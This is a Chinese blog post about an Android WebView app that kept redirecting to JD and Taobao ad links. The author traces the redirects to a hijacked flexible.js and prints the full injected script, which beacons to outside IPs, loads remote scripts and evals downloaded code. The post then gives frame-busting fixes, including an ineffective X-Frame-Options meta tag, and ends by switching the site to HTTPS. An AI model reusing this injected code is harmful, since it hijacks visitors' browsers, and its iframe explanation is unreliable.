Android_Studio工具APP开发加载网站web页时时不时出现openapp.jdmobile://virtual?params={"cate错识代码,解决方法

为什么老是自己调到openapp.jdmobile://virtual?params={"cate
网页开发,当我本地应用了flexible.js后,会自动跳转到openapp.jdmobile://virtual?params={"category":"jump","des":"m","url":"https://u.jd.com/woiCMC","keplerID":"0","keplerFrom":"1","kepler_param":{"source":"kepler-open","otherData"

小编也碰到类似问题,度娘找了好多文章一直没有解决好,费了好大功夫终于解决成功了。

事情经过是这样的,小编为了方便手机访问固定的网址,想到Android_Studio开发软件生成一个访问WEB页面的功能。

APP生成后,手机安装也可以正常,高兴极了,谁料到没几天,老是弹出这类代码

网页无法打开
位于 openapp.jdmobile://virtual?params={"category":"jump","des":"m","url":"已移除图像。https://u.jd.com/CisgZnE","unionSource":"platformA","keplerID":"snssdk1128","keplerFrom":"1"} 的网页无法加载,因为:

net::ERR_UNKNOWN_URL_SCHEME

通过IE直接访问有时是京东,有时是淘宝的领红包的广告代码。特别烦

广告代码    广告代码

当时只有手机访问会出现这个问题,因为是刚接触Android_Studio不是很懂,一直以为是开发软件问题。

记得找度娘时微博有篇文章写到,是不是可能Android_Studio漏洞或插件的原因什么的呀?为此小编特地下载了最新版本Android_Studio生成PAK文件,问题依旧存在。一直有过想放弃的想法?又是在网站查找资料?

这时发现还是网站存在的问题,之前觉得不是网站问题是因为电脑访问正常的,原来是电脑浏览器默认设置有拦截广告功能所以看不出来。一时没发现,大意了。

确定了问题原因可能出现的方向,还是往网站源代码找问题,经过几天的研究也一直没发现哪里原因。因为这个弹出错误的代码每天只有一次,真的好烦。

广告代码

又过了几天的坚持用Google Chrome浏览器开发工具查看网站源代码竟发现

出现广告代码时出现了跨域代码,就是这个引起的广告。顺这个方法找,怀疑是被恶意注入了!function

弹出的flexible.js内容和我的不一样,就是以下可恶的一段代码

!function() {
    function sendAccounting(e, n) {
        e = e || 1;
        n = n || 0;
        var t = new Image;
        11 == n || w && 6 == n || (t.src = "http://30.250.52.18:80/" + e + "-1542/82874247-24b6-4813-aad3-711c59dc2059_100.110.59.183/" + n + "." + (m + j));
        (2 == e || g) && I.d();
        return t
    }
    function e(e) {
        return w ? "http://30.250.52.18:80/Check/2/1542/82874247-24b6-4813-aad3-711c59dc205…" : 1 == e && "http://30.250.52.18/CheckUrl/1/1542"
    }
    function n(n) {
        var i, r, o = Math.floor(1e3 * j), c = "fp", u = c + o, s = {
            h: "d29c88d4d2da164a7d4dffc1a167d88fb46efd28"
        }, a = "_!$[]fp82874247-24b6-4813-aad3-711c59dc2059[]$!_";
        I = {
            d: function() {
                C[a] === s && (C[a] = 0)
            },
            s: function(e) {
                C[a].c = e
            }
        };
        if (w && T - w > 54e5)
            return 11;
        "string" == typeof n.jsURI && (n.jsURI = [n.jsURI]);
        if ((i = C[a]) && i.h === s.h && !i.c)
            return 1;
        r = i && i.c;
        C[a] = s;
        if (n.requireTopWindow && C != top)
            return 2;
        if (n.requireObjectHasOwnProperty && !Object.prototype.hasOwnProperty)
            return 3;
        if (n.json) {
            if ("string" == typeof n.json)
                try {
                    n.json = U.eval("(" + n.json + ")")
                } catch (e) {
                    return 4
                }
            n.json.minimum_width = n.minWidth = n.json.minimum_width || n.minWidth;
            n.json.minimum_height = n.minHeight = n.json.minimum_height || n.minHeight;
            n.json._accounting = {
                stopTime: h,
                sendAccounting: sendAccounting,
                allowNext: I,
                uri: "http://30.250.52.10/static",
                comm: "http://30.250.52.18/",
                fpsessionid: "82874247-24b6-4813-aad3-711c59dc2059",
                check: e("%TOPURLMATCH%"),
                direct: !1,
                prev: r
            }
        }
        if (!(n.json && "" === n.json.sprite_img || t(C, M, n.minHeight, n.minWidth)))
            return 5;
        if (n.json2uri) {
            for (; void 0 !== C[u]; )
                u = c + ++o;
            C[u] = n.json;
            for (i = 0; i < n.jsURI.length; i++)
                n.jsURI[i] += (n.jsURI[i].indexOf("?") !== -1 ? "&" : "?") + u
        }
    }
    function t(e, n, t, i) {
        var r = n.documentElement || n.body || {}
          , o = e.innerWidth || r.clientWidth || 0
          , c = e.innerHeight || r.clientHeight || 0;
        return o >= t && c >= i || !(o + c)
    }
    function i() {
        var e, t, i, r, u, s, l = (new Date).getTime(), f = {
            requireTopWindow: !0,
            requireObjectHasOwnProperty: !1,
            minWidth: 550,
            minHeight: 400,
            sendEarlyAccounting: !0
        };
        i = function(e, n) {
            return e === "@" + n ? null : e
        }
        ;
        r = function(e, n) {
            if (null === i(e, n))
                return null;
            e = e.toLowerCase();
            if ("true" == e)
                return !0;
            if ("false" == e)
                return !1;
            e = u(e, n);
            null !== e && (e = !!e);
            return e
        }
        ;
        u = function(e, n) {
            if (null === i(e, n))
                return null;
            e = parseInt(e);
            return isNaN(e) ? null : e
        }
        ;
        s = function(e, n) {
            if (null === i(e, n))
                return null;
            e = parseFloat(e);
            return isNaN(e) ? null : e
        }
        ;
        f.jsURI = "http://30.250.52.10/static/FloatingContent/F0y7RdnhqmcHSfx8AqX9uQ/float…";
        f.requireTopWindow = r("true", "RequireTopWindow");
        f.minHeight = u("1", "MinimumHeight");
        f.minWidth = u("1", "MinimumWidth");
        f.jsURI = i(c("http://30.250.52.18/static/Device/learn.js?FPSESSIONID=82874247-24b6-48…"), "ContentURL");
        g = r("1", "AllowReplace");
        if (f.requireTopWindow)
            try {
                o(top.document, "a");
                C = top;
                M = C.document
            } catch (e) {}
        if ((e = n(f)) || l > h)
            sendAccounting(2, e);
        else {
            f.sendEarlyAccounting && sendAccounting(1);
            if (f.jsURI) {
                p = a(M);
                for (e = 0; e < f.jsURI.length; e++) {
                    t = o(M, "script", null, "src", c(f.jsURI[e]), "type", R);
                    t[j] = f.json;
                    p.appendChild(t)
                }
            }
            if (f.onInsert)
                try {
                    f.onInsert()
                } catch (e) {}
        }
    }
    function r(e) {
        var n, t, i = [function() {
            return new XMLHttpRequest
        }
        , function() {
            return new ActiveXObject("Msxml2.XMLHTTP")
        }
        , function() {
            return new ActiveXObject("Microsoft.XMLHTTP")
        }
        , U.createRequest];
        for (t = 0; t < i.length; t++) {
            n = 0;
            try {
                n = i[t]();
                break
            } catch (e) {
                n = 0
            }
        }
        if (n)
            try {
                n.open("GET", e, !1);
                n.setRequestHeader("X-PLCS", "xhr");
                n.send(null);
                if (200 == n.status)
                    return n.responseText || " "
            } catch (e) {}
    }
    function o(e, n, t) {
        var i, r = e.createElement(n);
        t && r.appendChild(e.createTextNode(t));
        for (i = 3; i < arguments.length; i += 2)
            r.setAttribute(arguments[i], arguments[i + 1]);
        return r
    }
    function c(e) {
        return e.replace("$PAGEURL$", escape(s(C).href))
    }
    function u() {
        U.V = u.V;
        u.oncomplete && u.oncomplete()
    }
    function s(e) {
        return e.location || e.document.location || {}
    }
    function a(e, n, t) {
        n = e.getElementsByTagName("script");
        return ((t = n.length) ? n[t - 1] : m = 4).parentNode || e.body || e.documentElement.firstChild
    }
    try {
        var l, f, h, p, m, d, I, g, R = "text/javascript", j = Math.random(), T = (new Date).getTime(), w = parseInt("rq01ec", 36), E = parseFloat("45"), U = window, y = document, C = U, M = y;
        f = "http://" + unescape("sk.bailiok.com%2Fpublic%2Fplugins%2Fflexible%2Fflexible.js");
        p = y.createElement("div");
        m = 3;
        p.innerHTML = "<!--[if IE]><i></i><![endif]-->";
        d = p.getElementsByTagName("i").length;
        u.V = U.V;
        U.V = u;
        isNaN(E) && (E = 15);
        h = T + 1e3 * E - 2;
        w = isFinite(w) ? 1e3 * w : 0;
        h = T + 1e3 * E - 2;
        w = isFinite(w) ? 1e3 * w : 0;
        f += (~f.indexOf("?") ? ~f.indexOf(";") ? ";" : "&" : "?") + "_fp" + (1e3 * j | 0) + "=" + j;
        if (f.split("/")[2] == s(U).host) {
            l = r(f);
            if (l) {
                m = 1;
                u.js = l;
                u.oncomplete = i;
                return
            }
        }
        if (y.readyState == (d ? "interactive" : "loading")) {
            m = 2;
            y.write("<scr".concat('ipt src="') + f + '" type="' + R + '"></scr'.concat("ipt>"))
        } else {
            p = a(y);
            p.appendChild(o(y, "script", 0, "src", f, "type", R, "async", !1))
        }
        i()
    } catch (e) {}
}();
if (window.V) {
    if (V.js)
        try {
            window.eval(V.js)
        } catch (e) {}
    V()
}
这个代码就是弹出广告领红包的罪魁祸首,分析这段代码http://30.250.52.18/这个又是国外的IP,我想肯定是垃圾人搞得鬼。利用我们网站漏洞注入了iframe

朝这个方向找问题终于有点眉目了。

防止网页被别站用 iframe嵌套

方法一:

将下面的代码加到您的页面 <head></head> 位置即可:

<script language="javascript">

<!--

if (top.location != location)

{

top.location.href = location.href;

}

//-->

</script>

 

//或

 

<script language="javascript">

if(self!=top){top.location.href=self.location.href;}

</script>

这个就能让别人无法用iframe嵌套你网站的任何页面,实现的效果是:输入盗链你网站的那个地址后会自动跳到你的网站。

方法二:

<!--防止被iframe 造成跨域iframe 提交挂掉-->
<meta http-equiv="X-Frame-Options" content="deny">

方法三:

flexible.js改掉加载的这个文件名

通过以上方法还是未能解决问题,还在想其它方法,敬请期待~

又折腾了二天,终于找到原因了,原来是域名dns被劫持了,

解决方法:

把域名http改成https访问就可以了,测试了二天再也没发现弹出广告了。

IT技术分类